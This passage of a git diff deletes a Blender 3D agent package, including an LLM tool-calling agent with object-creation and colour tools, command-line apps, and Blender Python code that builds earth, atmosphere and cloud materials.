LLM server - base_url: Base URL for the local LLM server API - max_steps: Maximum number of steps the agent can take before terminating - debug_prompts: If True, includes prompts in the conversation history - output_dir: Directory for storing JSON output files (default: current directory) - streaming: If True, enables real-time streaming of LLM responses (default: False) - show_stats: If True, displays LLM performance stats after each response (default: True) - """ - # Initialize the MCP client for Blender communication - self.mcp = mcp if mcp else MCPClient() - - # Call the parent class constructor - super().__init__( - model_id=model_id, - base_url=base_url, - max_steps=max_steps, - debug_prompts=debug_prompts, - output_dir=output_dir, - streaming=streaming, - show_stats=show_stats, - ) - - # Register Blender-specific tools - self._register_tools() - - def _create_console(self) -> AgentConsole: - """ - Create and return a Agent-specific console output handler. - - Returns: - A AgentConsole instance - """ - return AgentConsole() - - def _get_system_prompt(self) -> str: - """Generate the system prompt for the Blender agent.""" - # Get formatted tools from registry - return """ -You are a specialized Blender 3D assistant that can create and modify 3D scenes. -You will use a set of tools to accomplish tasks based on the user's request. - -==== CRITICAL RULES ==== -1. Create a plan for multi-step tasks, but simple single operations (like clear_scene) can execute directly -2. Each plan step must be atomic (one tool call per step) -3. For colored objects, ALWAYS include both create_object AND set_material_color steps -4. When clearing a scene, ONLY use clear_scene without creating new objects unless requested -5. Always use the actual returned object names for subsequent operations -6. Never repeat the same tool call with identical arguments - -==== COLORED OBJECT DETECTION ==== -🔍 SCAN the user request for color words: -- "red", "green", "blue", "yellow", "purple", "cyan", "white", "black" -- "colored", "paint", "material" - -⚠️ IF you find ANY color words, you MUST: -1. Create the object with create_object -2. Set its color with set_material_color -3. Then do any other modifications - -❌ NEVER skip the color step if a color is mentioned! - -Examples of colored requests: -- "blue cylinder" → needs create_object + set_material_color -- "red sphere" → needs create_object + set_material_color -- "green cube and yellow cone" → needs 4 steps total - -==== TOOL PARAMETER RULES ==== -⚠️ CRITICAL: create_object does NOT accept a 'color' parameter! -✅ CORRECT workflow for colored objects: - Step 1: create_object (type, name, location, rotation, scale ONLY) - Step 2: set_material_color (object_name, color) - -⚠️ CRITICAL: Colors must be RGBA format with 4 values [r, g, b, a] - ❌ WRONG: [0, 0, 1] (only 3 values) - ✅ CORRECT: [0, 0, 1, 1] (4 values including alpha) - -⚠️ CRITICAL: EVERY colored object must have BOTH steps! - If user asks for "green cube and red sphere", you need 4 steps: - 1. create_object (cube) - 2. set_material_color (cube, green) - 3. create_object (sphere) - 4. set_material_color (sphere, red) - -==== COMMON WORKFLOWS ==== -1. Clearing a scene: Use clear_scene() with no arguments -2. Creating a single colored object: - - Step 1: create_object(type="CYLINDER", name="my_obj", location=[0,0,0]) - - Step 2: set_material_color(object_name="my_obj", color=[0,0,1,1]) -3. Creating multiple colored objects: - - Step 1: create_object(type="CUBE", name="cube1", location=[0,0,0]) - - Step 2: set_material_color(object_name="cube1", color=[0,1,0,1]) - - Step 3: create_object(type="SPHERE", name="sphere1", location=[3,0,0]) - - Step 4: set_material_color(object_name="sphere1", color=[1,0,0,1]) -4. Modifying objects: Use modify_object with the parameters you want to change -""" - - def _register_tools(self): - """Register all Blender-related tools for the agent.""" - - @tool(atomic=True) - def clear_scene() -> Dict[str, Any]: - """ - Remove all objects from the current Blender scene. - - Returns: - Dictionary containing the operation result - - Example JSON response: - ```json - { - "thought": "I will clear the scene to start fresh", - "goal": "Clear the scene to start fresh", - "tool": "clear_scene", - "tool_args": {} - } - ``` - """ - try: - from gaia_agent_blender.core.scene import SceneManager - - scene_manager = SceneManager(self.mcp) - return scene_manager.clear_scene() - except Exception as e: - self.error_history.append(str(e)) - return {"status": "error", "error": str(e)} - - @tool - def create_object( - type: str = "CUBE", - name: str = None, - location: tuple = (0, 0, 0), - rotation: tuple = (0, 0, 0), - scale: tuple = (1, 1, 1), - ) -> Dict[str, Any]: - """ - Create a 3D object in Blender. - - Args: - type: Object type (CUBE, SPHERE, CYLINDER, CONE, TORUS) - name: Optional name for the object (default: generated from type) - location: (x, y, z) coordinates for object position (default: (0,0,0)) - rotation: (rx, ry, rz) rotation in radians (default: (0,0,0)) - scale: (sx, sy, sz) scaling factors for the object (default: (1,1,1)) - - Returns: - Dictionary containing the creation result - - Example JSON response: - ```json - { - "thought": "I will create a cube at the center of the scene", - "goal": "Create a red cube at the center of the scene", - "tool": "create_object", - "tool_args": { - "type": "CUBE", - "name": "my_cube", - "location": [0, 0, 0], - "rotation": [0, 0, 0], - "scale": [1, 1, 1] - } - } - ``` - """ - try: - result = self.mcp.create_object( - type=type.upper(), - name=name or f"generated_{type.lower()}", - location=location, - rotation=rotation, - scale=scale, - ) - return result - except Exception as e: - self.error_history.append(str(e)) - return {"status": "error", "error": str(e)} - - @tool - def set_material_color( - object_name: str, color: tuple = (1, 0, 0, 1) - ) -> Dict[str, Any]: - """ - Set the material color for an object. Creates a new material if one doesn't exist. - - Args: - object_name: Name of the object to modify - color: RGBA color values as tuple (red, green, blue, alpha), values from 0-1 - - Returns: - Dictionary with the operation result - - Example JSON response: - ```json - { - "thought": "I will set the cube's material to red", - "goal": "Create a red cube at the center of the scene", - "tool": "set_material_color", - "tool_args": { - "object_name": "my_cube", - "color": [1, 0, 0, 1] - } - } - ``` - """ - try: - from gaia_agent_blender.core.materials import MaterialManager - - material_manager = MaterialManager(self.mcp) - return material_manager.set_material_color(object_name, color) - except Exception as e: - self.error_history.append(str(e)) - return {"status": "error", "error": str(e)} - - # @tool - def _get_object_info(name: str) -> Dict[str, Any]: - """ - Get information about an object in the scene. - - Args: - name: Name of the object - - Returns: - Dictionary containing object information - - Example JSON response: - ```json - { - "thought": "I will get information about the cube", - "goal": "Create a red cube at the center of the scene", - "tool": "get_object_info", - "tool_args": { - "name": "my_cube" - } - } - ``` - """ - try: - return self.mcp.get_object_info(name) - except Exception as e: - self.error_history.append(str(e)) - return {"status": "error", "error": str(e)} - - @tool - def modify_object( - name: str, - location: tuple = None, - scale: tuple = None, - rotation: tuple = None, - ) -> Dict[str, Any]: - """ - Modify an existing object in Blender. - - Args: - name: Name of the object to modify - location: New (x, y, z) location or None to keep current - scale: New (sx, sy, sz) scale or None to keep current - rotation: New (rx, ry, rz) rotation or None to keep current - - Returns: - Dictionary with the modification result - - Example JSON response: - ```json - { - "thought": "I will move the cube up by 2 units", - "goal": "Create a red cube at the center of the scene", - "tool": "modify_object", - "tool_args": { - "name": "my_cube", - "location": [0, 0, 2], - "scale": null, - "rotation": null - } - } - ``` - """ - try: - return self.mcp.modify_object( - name=name, location=location, scale=scale, rotation=rotation - ) - except Exception as e: - self.error_history.append(str(e)) - return {"status": "error", "error": str(e)} - - # @tool - def _delete_object(name: str) -> Dict[str, Any]: - """ - Delete an object from the scene. - - Args: - name: Name of the object to delete - - Returns: - Dictionary with the deletion result - - Example JSON response: - ```json - { - "thought": "I will delete the cube", - "goal": "Clear the scene to start fresh", - "tool": "delete_object", - "tool_args": { - "name": "my_cube" - } - } - ``` - """ - try: - return self.mcp.delete_object(name) - except Exception as e: - self.error_history.append(str(e)) - return {"status": "error", "error": str(e)} - - @tool(atomic=True) - def get_scene_info() -> Dict[str, Any]: - """ - Get information about the current scene. - - Returns: - Dictionary containing scene information - - Example JSON response: - ```json - { - "thought": "I will get information about the current scene", - "goal": "Clear the scene to start fresh", - "tool": "get_scene_info", - "tool_args": {} - } - ``` - """ - try: - return self.mcp.get_scene_info() - except Exception as e: - self.error_history.append(str(e)) - return {"status": "error", "error": str(e)} - - # @tool - def _execute_blender_code(code: str) -> Dict[str, Any]: - """ - Execute arbitrary Python code in Blender with error handling. - - Args: - code: Python code to execute in Blender - - Returns: - Dictionary with execution results or error information - - Example JSON response: - ```json - { - "thought": "I will execute custom code to create a complex shape", - "goal": "Create a red cube at the center of the scene", - "tool": "execute_blender_code", - "tool_args": { - "code": "import bpy\\nbpy.ops.mesh.primitive_cube_add()" - } - } - ``` - """ - try: - return self.mcp.execute_code(code) - except Exception as e: - self.error_history.append(str(e)) - return {"status": "error", "error": str(e)} - - # @tool - def _diagnose_scene() -> Dict[str, Any]: - """ - Diagnose the current Blender scene for common issues. - Returns information about objects, materials, and potential problems. - - Returns: - Dictionary with diagnostic information - - Example JSON response: - ```json - { - "thought": "I will diagnose the scene for any issues", - "goal": "Clear the scene to start fresh", - "tool": "diagnose_scene", - "tool_args": {} - } - ``` - """ - try: - # Use the core library's scene diagnosis code generator - diagnostic_code = generate_scene_diagnosis_code() - return self.mcp.execute_code(diagnostic_code) - except Exception as e: - self.error_history.append(str(e)) - return {"status": "error", "error": str(e)} - - def _post_process_tool_result( - self, - tool_name: str, - tool_args: Dict[str, Any], - tool_result: Dict[str, Any], - ) -> Optional[List[Dict[str, Any]]]: - """ - Post-process the tool result for Blender-specific handling. - - Delegates to ``super()`` so the base class can set - ``_single_tool_done`` for ``single_tool_per_turn=True`` agents - on the success path. - - Args: - tool_name: Name of the tool that was executed - tool_args: Arguments that were passed to the tool - tool_result: Result returned by the tool - """ - # Track object name if created - if tool_name == "create_object": - actual_name = self._track_object_name(tool_result) - if actual_name: - logger.debug(f"Actual object name created: {actual_name}") - self.console.print_info( - f"Note: Blender assigned name '{actual_name}' to the created object" - ) - - # Update subsequent steps in the plan that might use this object - if self.current_plan and self.current_step < len(self.current_plan) - 1: - for i in range(self.current_step + 1, len(self.current_plan)): - future_step = self.current_plan[i] - if isinstance(future_step, dict) and "tool_args" in future_step: - args = future_step["tool_args"] - # Look for object_name or name parameters - if "object_name" in args and args[ - "object_name" - ] == tool_args.get("name"): - logger.debug( - f"Updating object_name in future step {i+1} from {args['object_name']} to {actual_name}" - ) - self.current_plan[i]["tool_args"][ - "object_name" - ] = actual_name - if "name" in args and args["name"] == tool_args.get("name"): - logger.debug( - f"Updating name in future step {i+1} from {args['name']} to {actual_name}" - ) - self.current_plan[i]["tool_args"]["name"] = actual_name - return super()._post_process_tool_result(tool_name, tool_args, tool_result) - - def _track_object_name(self, result): - """ - Extract and track the actual object name returned by Blender. - - Args: - result: The result dictionary from a tool execution - - Returns: - The actual object name if found, None otherwise - """ - try: - if isinstance(result, dict): - if result.get("status") == "success": - if "result" in result and isinstance(result["result"], dict): - # Extract name from create_object result - if "name" in result["result"]: - actual_name = result["result"]["name"] - logger.debug(f"Extracted object name: {actual_name}") - return actual_name - return None - except Exception as e: - logger.error(f"Error extracting object name: {str(e)}") - return None - - def create_interactive_scene( - self, - scene_description: str, - max_steps: int = None, - trace: bool = True, - filename: str = None, - ) -> Dict[str, Any]: - """ - Create a more complex scene with multiple objects and relationships. - - Args: - scene_description: Description of the scene to create - max_steps: Maximum number of steps to take in the conversation (overrides class default if provided) - trace: If True, write detailed trace to file - filename: Optional filename for trace output, if None a timestamped name will be generated - - Returns: - Dict containing the scene creation result - """ - # When the caller doesn't override, fall back to the agent's configured - # max_steps (the global default unless explicitly set at construction). - return self.process_query( - f"Create a complete 3D scene with the following description: {scene_description}", - max_steps=max_steps, - trace=trace, - filename=filename, - ) diff --git a/hub/agents/blender/python/gaia_agent_blender/agent_simple.py b/hub/agents/blender/python/gaia_agent_blender/agent_simple.py deleted file mode 100644 index 3f1610508..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/agent_simple.py +++ /dev/null @@ -1,133 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -from typing import Any, Dict, Optional, Tuple - -from gaia.llm import create_client -from gaia.llm.base_client import LLMClient -from gaia.mcp.blender_mcp_client import MCPClient - - -class BlenderAgentSimple: - """Agent wrapper for the Blender Object Creator that handles LLM-driven object creation. - - This is a 'simple' agent because it provides a streamlined interface between natural language - input and Blender operations, focusing only on basic object creation. It uses an LLM to parse - user requests into structured commands and the MCP client to execute those commands in Blender. - Unlike more complex agents, it doesn't handle advanced modeling, scene composition, or multi-step - operations - it's designed for single-object creation with minimal parameters (type, location, scale). - """ - - # Embed system prompt directly in the class - SYSTEM_PROMPT = """ -You are a 3D modeling assistant. IMPORTANT: For EACH user request, respond with EXACTLY ONE LINE in this format: -TYPE,x,y,z,sx,sy,sz - -Where: -- TYPE is one of: CUBE, SPHERE, CYLINDER, CONE, TORUS - no other types allowed -- x,y,z are the LOCATION coordinates in 3D space (must be numbers) -- sx,sy,sz are the SCALE factors (must be numbers) - -You MUST include ALL 7 parameters separated by commas. -You MUST respond with ONLY ONE LINE. -You MUST NOT include any other text. - -Example: "Create a large sphere at the origin" → SPHERE,0,0,0,2,2,2 -Example: "Make a tall cylinder" → CYLINDER,0,0,0,1,1,3 -""" - - def __init__( - self, - llm: Optional[LLMClient] = None, - mcp: Optional[MCPClient] = None, - base_url: Optional[str] = "http://localhost:13305/api/v1", - ): - """ - Initialize the BlenderAgentSimple with LLM and MCP clients. - - Args: - llm: An optional pre-configured LLM client, otherwise a new one will be created - mcp: An optional pre-configured MCP client, otherwise a new one will be created - base_url: Base URL for the Lemonade LLM server - """ - self.llm = ( - llm - if llm - else create_client( - "lemonade", base_url=base_url, system_prompt=self.SYSTEM_PROMPT - ) - ) - self.mcp = mcp if mcp else MCPClient() - - def process_query(self, user_input: str) -> Dict[str, Any]: - """ - Process a user query to create a 3D object. - - Args: - user_input: User's description of the object to create - - Returns: - Dict containing the result of the operation and any relevant data - """ - try: - # Get object creation instruction from LLM based on user input - llm_response = self.llm.generate(user_input).strip() - - # Parse the LLM response - obj_type, location, scale = self._parse_llm_response(llm_response) - - # Create the object in Blender - result = self.mcp.create_object( - type=obj_type, - name=f"llm_generated_{obj_type.lower()}", - location=location, - scale=scale, - ) - - return { - "status": "success", - "llm_response": llm_response, - "object_type": obj_type, - "location": location, - "scale": scale, - "blender_result": result, - } - - except Exception as e: - return { - "status": "error", - "error": str(e), - "llm_response": llm_response if "llm_response" in locals() else None, - } - - def _parse_llm_response( - self, llm_response: str - ) -> Tuple[str, Tuple[float, float, float], Tuple[float, float, float]]: - """ - Parse the LLM response into object parameters. - - Args: - llm_response: The response from the LLM in the format TYPE,x,y,z,sx,sy,sz - - Returns: - Tuple containing (object_type, location_tuple, scale_tuple) - - Raises: - ValueError: If the response format is invalid - """ - try: - # Simple parsing, assuming format: TYPE,x,y,z,sx,sy,sz - parts = llm_response.split(",") - if len(parts) != 7: - raise ValueError(f"Expected 7 parts in response, got {len(parts)}") - - obj_type = parts[0].strip().upper() - location = (float(parts[1]), float(parts[2]), float(parts[3])) - scale = (float(parts[4]), float(parts[5]), float(parts[6])) - - return obj_type, location, scale - - except Exception as e: - raise ValueError( - f"Failed to parse LLM response: {e}. Raw response: {llm_response}" - ) diff --git a/hub/agents/blender/python/gaia_agent_blender/app.py b/hub/agents/blender/python/gaia_agent_blender/app.py deleted file mode 100644 index 3e9cba881..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/app.py +++ /dev/null @@ -1,212 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Main application entry point for the Blender Agent. -""" - -import argparse -import os - -from gaia_agent_blender.agent import BlenderAgent - -from gaia.llm.lemonade_client import DEFAULT_MODEL_NAME - - -def wait_for_user(): - """Wait for user to press Enter before continuing.""" - input("Press Enter to continue to the next example...") - - -def run_examples(agent, selected_example=None, print_result=True): - """ - Run the example demonstrations. - - Args: - agent: The BlenderAgent instance - selected_example: Optional example number to run specifically - print_result: Whether to print the result - """ - console = agent.console - - examples = { - 1: { - "name": "Clearing the scene", - "description": "This example demonstrates how to clear all objects from a scene.", - "query": "Clear the scene to start fresh", - }, - 2: { - "name": "Creating a basic cube", - "description": "This example creates a red cube at the center of the scene.", - "query": "Create a red cube at the center of the scene and make sure it has a red material", - }, - 3: { - "name": "Creating a sphere with specific properties", - "description": "This example creates a blue sphere with specific parameters.", - "query": "Create a blue sphere at position (3, 0, 0) and set its scale to (2, 2, 2)", - }, - 4: { - "name": "Creating multiple objects", - "description": "This example creates multiple objects with specific arrangements.", - "query": "Create a green cube at (0, 0, 0) and a red sphere 3 units above it", - }, - 5: { - "name": "Creating and modifying objects", - "description": "This example creates objects and then modifies them.", - "query": "Create a blue cylinder, then make it taller and move it up 2 units", - }, - # FIXME: Currently not working. - # 6: { - # "name": "Creating a more complex scene", - # "description": "This example creates a more complex scene with multiple objects and relationships.", - # "query": "Create a simple desk with a computer, lamp, and coffee mug on it.", - # "use_interactive_scene": True, - # }, - } - - # If a specific example is requested, run only that one - if selected_example and selected_example in examples: - example = examples[selected_example] - console.print_header(f"=== Example {selected_example}: {example['name']} ===") - console.print_header(example["description"]) - - if example.get("use_interactive_scene", False): - agent.create_interactive_scene(example["query"]) - else: - agent.process_query(example["query"]) - - agent.display_result(print_result=print_result) - return - - # Run all examples in sequence - for idx, example in examples.items(): - console.print_header(f"=== Example {idx}: {example['name']} ===") - console.print_header(example["description"]) - - if example.get("use_interactive_scene", False): - agent.create_interactive_scene(example["query"]) - else: - agent.process_query(example["query"], trace=True) - - agent.display_result(print_result=print_result) - - # Wait for user input between examples, except the last one - if idx < len(examples): - wait_for_user() - - -def run_interactive_mode(agent, print_result=True): - """ - Run the Blender Agent in interactive mode where the user can continuously input queries. - - Args: - agent: The BlenderAgent instance - print_result: Whether to print the result - """ - console = agent.console - console.print_header("=== Interactive Mode ===") - console.print_header("Enter your queries. Type 'exit', 'quit', or 'q' to exit.") - - while True: - try: - query = input("\nEnter query: ") - if query.lower() in ["exit", "quit", "q"]: - console.print_header("Exiting interactive mode.") - break - - if query.strip(): # Process only non-empty queries - agent.process_query(query) - agent.display_result(print_result=print_result) - - except KeyboardInterrupt: - console.print_header("\nInteractive mode interrupted. Exiting.") - break - except Exception as e: - console.print_error(f"Error processing query: {e}") - - -def main(): - """Main entry point for the Blender Agent application.""" - parser = argparse.ArgumentParser(description="Run the BlenderAgent") - parser.add_argument( - "--model", - default=DEFAULT_MODEL_NAME, - help=f"Model ID to use (default: {DEFAULT_MODEL_NAME})", - ) - parser.add_argument( - "--example", - type=int, - choices=range(1, 7), - help="Run a specific example (1-6), if not specified run all examples", - ) - parser.add_argument( - "--steps", type=int, default=5, help="Maximum number of steps per query" - ) - parser.add_argument( - "--output-dir", - type=str, - default="output", - help="Directory to save output files", - ) - parser.add_argument( - "--stream", action="store_true", help="Enable streaming mode for LLM responses" - ) - parser.add_argument( - "--stats", - action="store_true", - default=True, - help="Display performance statistics", - ) - parser.add_argument( - "--query", type=str, help="Custom query to run instead of examples" - ) - parser.add_argument( - "--interactive", - action="store_true", - help="Enable interactive mode to continuously input queries", - ) - parser.add_argument( - "--debug-prompts", - action="store_true", - default=False, - help="Enable debug prompts", - ) - parser.add_argument( - "--print-result", - action="store_true", - default=False, - help="Print results to console", - ) - args = parser.parse_args() - - # Create output directory if specified - output_dir = args.output_dir - if output_dir: - os.makedirs(output_dir, exist_ok=True) - - # Create the BlenderAgent - agent = BlenderAgent( - model_id=args.model, - max_steps=args.steps, - output_dir=output_dir, - streaming=args.stream, - show_stats=args.stats, - debug_prompts=args.debug_prompts, - ) - - # Run in interactive mode if specified - if args.interactive: - run_interactive_mode(agent, print_result=args.print_result) - # Process a custom query if provided - elif args.query: - agent.console.print_header(f"Processing custom query: '{args.query}'") - agent.process_query(args.query) - agent.display_result(print_result=args.print_result) - else: - # Run specific example if provided, otherwise run all examples - run_examples( - agent, selected_example=args.example, print_result=args.print_result - ) - - -if __name__ == "__main__": - main() diff --git a/hub/agents/blender/python/gaia_agent_blender/app_simple.py b/hub/agents/blender/python/gaia_agent_blender/app_simple.py deleted file mode 100644 index 2c337de0c..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/app_simple.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -from gaia_agent_blender.agent_simple import BlenderAgentSimple - - -def main(): - # Initialize the agent - agent = BlenderAgentSimple() - - print("\nBlender Object Creator") - print("Enter 'q' at any prompt to quit") - - while True: - # Get user input interactively - print( - "\nDescribe the 3D object you want to create (e.g., 'Create a large cube at the origin'): " - ) - user_input = input("> ") - - # Check if user wants to quit - if user_input.lower() == "q": - print("Exiting Blender Object Creator. Goodbye!") - break - - # Process the query using the agent - result = agent.process_query(user_input) - - if result["status"] == "success": - print(f"\n\nLLM response:\n{result['llm_response']}") - print( - f"Successfully created object: {result['blender_result'].get('data', {}).get('name')}" - ) - else: - print(f"Error: {result['error']}") - if result["llm_response"]: - print(f"Raw LLM response: {result['llm_response']}") - - -if __name__ == "__main__": - main() diff --git a/hub/agents/blender/python/gaia_agent_blender/core/__init__.py b/hub/agents/blender/python/gaia_agent_blender/core/__init__.py deleted file mode 100644 index bcf07c767..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/core/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -from .materials import MaterialManager -from .objects import ObjectManager -from .rendering import RenderManager -from .scene import SceneManager -from .view import ViewManager - -__all__ = [ - "SceneManager", - "MaterialManager", - "RenderManager", - "ObjectManager", - "ViewManager", -] diff --git a/hub/agents/blender/python/gaia_agent_blender/core/materials.py b/hub/agents/blender/python/gaia_agent_blender/core/materials.py deleted file mode 100644 index 691ab275e..000000000 --- a/hub/agents/blender/python/gaia_agent_blender/core/materials.py +++ /dev/null @@ -1,506 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -from typing import Dict - -from gaia.mcp.blender_mcp_client import MCPClient - - -class MaterialManager: - """Manages Blender material operations.""" - - def __init__(self, mcp: MCPClient): - self.mcp = mcp - - def create_ground_material( - self, ground_texture_name: str, maps_texture_name: str - ) -> Dict: - """Create the ground material with separate land and water shaders, using displacement.""" - - def generate_code(): - return f""" -import bpy - -# Get the Earth object -earth = bpy.data.objects.get("Earth") -if not earth: - print("Error: Earth object not found") - exit() - -# Create new material -ground_mat = bpy.data.materials.new(name="ground") -ground_mat.use_nodes = True -earth.data.materials.append(ground_mat) - -# Get material nodes and links -nodes = ground_mat.node_tree.nodes -links = ground_mat.node_tree.links - -# Clear default nodes -for node in nodes: - nodes.remove(node) - -# Create nodes for ground material -output = nodes.new(type='ShaderNodeOutputMaterial') -output.location = (800, 0) - -# Add texture image for Earth ground -tex_ground = nodes.new(type='ShaderNodeTexImage') -tex_ground.location = (-600, 200) -tex_ground.image = bpy.data.images.get("{ground_texture_name}") -tex_ground.projection = 'SPHERE' -tex_ground.interpolation = 'Linear' # Updated to Linear as shown in screenshot - -# Add texture coordinate -tex_coord = nodes.new(type='ShaderNodeTexCoord') -tex_coord.location = (-900, 0) - -# Earth maps (water mask and displacement) -tex_maps = nodes.new(type='ShaderNodeTexImage') -tex_maps.location = (-600, -200) -tex_maps.image = bpy.data.images.get("{maps_texture_name}") -tex_maps.projection = 'SPHERE' -tex_maps.interpolation = 'Linear' # Already set to Linear - -# Separate RGB for maps -separate_rgb = nodes.new(type='ShaderNodeSeparateRGB') -separate_rgb.location = (-300, -200) - -# Single Principled BSDF with values matching screenshot -principled = nodes.new(type='ShaderNodeBsdfPrincipled') -principled.location = (400, 200) -principled.inputs['Metallic'].default_value = 0.030 # As shown in screenshot -principled.inputs['Roughness'].default_value = 0.500 # As shown in screenshot -principled.inputs['IOR'].default_value = 1.500 # As shown in screenshot -principled.inputs['Alpha'].default_value = 1.000 # As shown in screenshot - -# Alternative approach - keep both land and water shaders as before -# Land material -land_shader = nodes.new(type='ShaderNodeBsdfPrincipled') -land_shader.location = (100, 200) -land_shader.inputs['Specular'].default_value = 0.0 -land_shader.inputs['Roughness'].default_value = 1.0 - -# Water material -water_shader = nodes.new(type='ShaderNodeBsdfPrincipled') -water_shader.location = (100, -100) -water_shader.inputs['Roughness'].default_value = 0.4 -water_shader.inputs['IOR'].default_value = 1.333 - -# Mix shader -mix_shader = nodes.new(type='ShaderNodeMixShader') -mix_shader.location = (500, 0) - -# Displacement node -displace = nodes.new(type='ShaderNodeDisplacement') -displace.location = (500, -300) -displace.inputs['Scale'].default_value = 0.005 # Match tutorial value for displacement - -# Connect nodes -# Option 1: Using single Principled BSDF (as shown in screenshot) -links.new(tex_coord.outputs['Generated'], tex_ground.inputs['Vector']) -links.new(tex_coord.outputs['Generated'], tex_maps.inputs['Vector']) -links.new(tex_ground.outputs['Color'], principled.inputs['Base Color']) -links.new(tex_maps.outputs['Color'], separate_rgb.inputs['Image']) -links.new(separate_rgb.outputs['R'], displace.inputs['Height']) # R (red) channel is height -links.new(principled.outputs['BSDF'], output.inputs['Surface']) -links.new(displace.outputs['Displacement'], output.inputs['Displacement']) - -# Set material displacement method to match tutorial -ground_mat.displacement_method = 'DISPLACEMENT' - -print("Ground material created exactly as shown in screenshot") -""" - - return self.mcp.execute_code(generate_code()) - - def create_atmosphere_material(self) -> Dict: - """Create the atmosphere material with volume scatter.""" - - def generate_code(): - return """ -import bpy - -# Create atmosphere material -atm_mat = bpy.data.materials.new(name="atmosphere") -atm_mat.use_nodes = True - -# Get material nodes -nodes = atm_mat.node_tree.nodes -links = atm_mat.node_tree.links - -# Clear default nodes -for node in nodes: - nodes.remove(node) - -# Create nodes for atmosphere material as shown in tutorial -output = nodes.new(type='ShaderNodeOutputMaterial') -output.location = (800, 0) - -# Add texture coordinate for atmosphere -tex_coord = nodes.new(type='ShaderNodeTexCoord') -tex_coord.location = (-900, 0) - -# Add volume scatter - match tutorial color exactly -volume_scatter = nodes.new(type='ShaderNodeVolumeScatter') -volume_scatter.location = (500, 200) -volume_scatter.inputs['Color'].default_value = (0.3, 0.6, 1.0, 1.0) # Blue color from tutorial - -# Value for atmosphere thickness - 1% of planet radius as in tutorial -thickness = nodes.new(type='ShaderNodeValue') -thickness.location = (-600, -300) -thickness.outputs[0].default_value = 0.01 # 1% of planet radius as specified in tutorial - -# Vector length for atmosphere density gradient -vec_math = nodes.new(type='ShaderNodeVectorMath') -vec_math.location = (-600, 0) -vec_math.operation = 'LENGTH' - -# Subtract 1 to get 0 at surface level -math_sub = nodes.new(type='ShaderNodeMath') -math_sub.location = (-400, 0) -math_sub.operation = 'SUBTRACT' -math_sub.inputs[1].default_value = 1.0 - -# Divide by thickness to normalize distance - exactly as in tutorial -math_div = nodes.new(type='ShaderNodeMath') -math_div.location = (-200, 0) -math_div.operation = 'DIVIDE' -math_div.use_clamp = True - -# Multiply by 15 for density adjustment - exact value from tutorial -math_mul1 = nodes.new(type='ShaderNodeMath') -math_mul1.location = (0, 0) -math_mul1.operation = 'MULTIPLY' -math_mul1.inputs[1].default_value = 15.0 # Tutorial uses exactly 15 - -# Power for exponential falloff - uses e (Euler's number) in tutorial -math_pow = nodes.new(type='ShaderNodeMath') -math_pow.location = (200, 0) -math_pow.operation = 'POWER' -math_pow.inputs[1].default_value = 1.0 # Power of e (Euler's number) - -# Multiply by 0.05 for final density - exact value from tutorial -math_mul2 = nodes.new(type='ShaderNodeMath') -math_mul2.location = (400, 0) -math_mul2.operation = 'MULTIPLY' -math_mul2.inputs[1].default_value = 0.05 # Tutorial uses exactly 0.05 - -# Displacement for atmosphere -displace = nodes.new(type='ShaderNodeDisplacement') -displace.location = (500, -200) -displace.inputs['Scale'].default_value = 1.0 - -# Connect nodes exactly as demonstrated in tutorial -links.new(tex_coord.outputs['Object'], vec_math.inputs[0]) -links.new(vec_math.outputs[0], math_sub.inputs[0]) -links.new(math_sub.outputs[0], math_div.inputs[0]) -links.new(thickness.outputs[0], math_div.inputs[1]) -links.new(math_div.outputs[0], math_mul1.inputs[0]) -links.new(math_mul1.outputs[0], math_pow.inputs[0]) -links.new(math_pow.outputs[0], math_mul2.inputs[0]) -links.new(math_mul2.outputs[0], volume_scatter.inputs['Density']) -links.new(thickness.outputs[0], displace.inputs['Scale']) -links.new(volume_scatter.outputs['Volume'], output.inputs['Volume']) -links.new(displace.outputs['Displacement'], output.inputs['Displacement']) - -# Set material displacement method as in tutorial -atm_mat.displacement_method = 'DISPLACEMENT' - -print("Atmosphere material created exactly as in tutorial") -""" - - return self.mcp.execute_code(generate_code()) - - def create_clouds_material(self, clouds_texture_name: str) -> Dict: - """Create the clouds material with subsurface scattering.""" - - def generate_code(): - return f""" -import bpy - -# Create clouds material -clouds_mat = bpy.data.materials.new(name="clouds") -clouds_mat.use_nodes = True - -# Get material nodes -nodes = clouds_mat.node_tree.nodes -links = clouds_mat.node_tree.links - -# Clear default nodes -for node in nodes: - nodes.remove(node) - -# Create nodes for clouds material - match tutorial exactly -output = nodes.new(type='ShaderNodeOutputMaterial') -output.location = (1000, 0) - -# Add texture coordinate for clouds -tex_coord = nodes.new(type='ShaderNodeTexCoord') -tex_coord.location = (-900, 0) - -# Add cloud texture -tex_clouds = nodes.new(type='ShaderNodeTexImage') -tex_clouds.location = (-600, 0) -tex_clouds.image = bpy.data.images.get("{clouds_texture_name}") -tex_clouds.projection = 'SPHERE' -tex_clouds.interpolation = 'Linear' # Match tutorial setting - -# Gamma correction for cloud texture - exactly 0.5 as in tutorial -gamma = nodes.new(type='ShaderNodeGamma') -gamma.location = (-400, 0) -gamma.inputs['Gamma'].default_value = 0.5 # Exactly as in tutorial - -# Second gamma correction - exactly 0.9 as in tutorial -gamma2 = nodes.new(type='ShaderNodeGamma') -gamma2.location = (-200, 0) -gamma2.inputs['Gamma'].default_value = 0.9 # Exactly as in tutorial - -# Add Transparent BSDF -transparent = nodes.new(type='ShaderNodeBsdfTransparent') -transparent.location = (400, 100) - -# Add Subsurface Scattering BSDF - exactly as in tutorial -subsurface = nodes.new(type='ShaderNodeSubsurfaceScattering') -subsurface.location = (400, -100) -subsurface.inputs['Radius'].default_value = (1, 1, 1) # Tutorial setting - -# Multiply for cloud intensity - exactly 5.0 as in tutorial -math_mul = nodes.new(type='ShaderNodeMath') 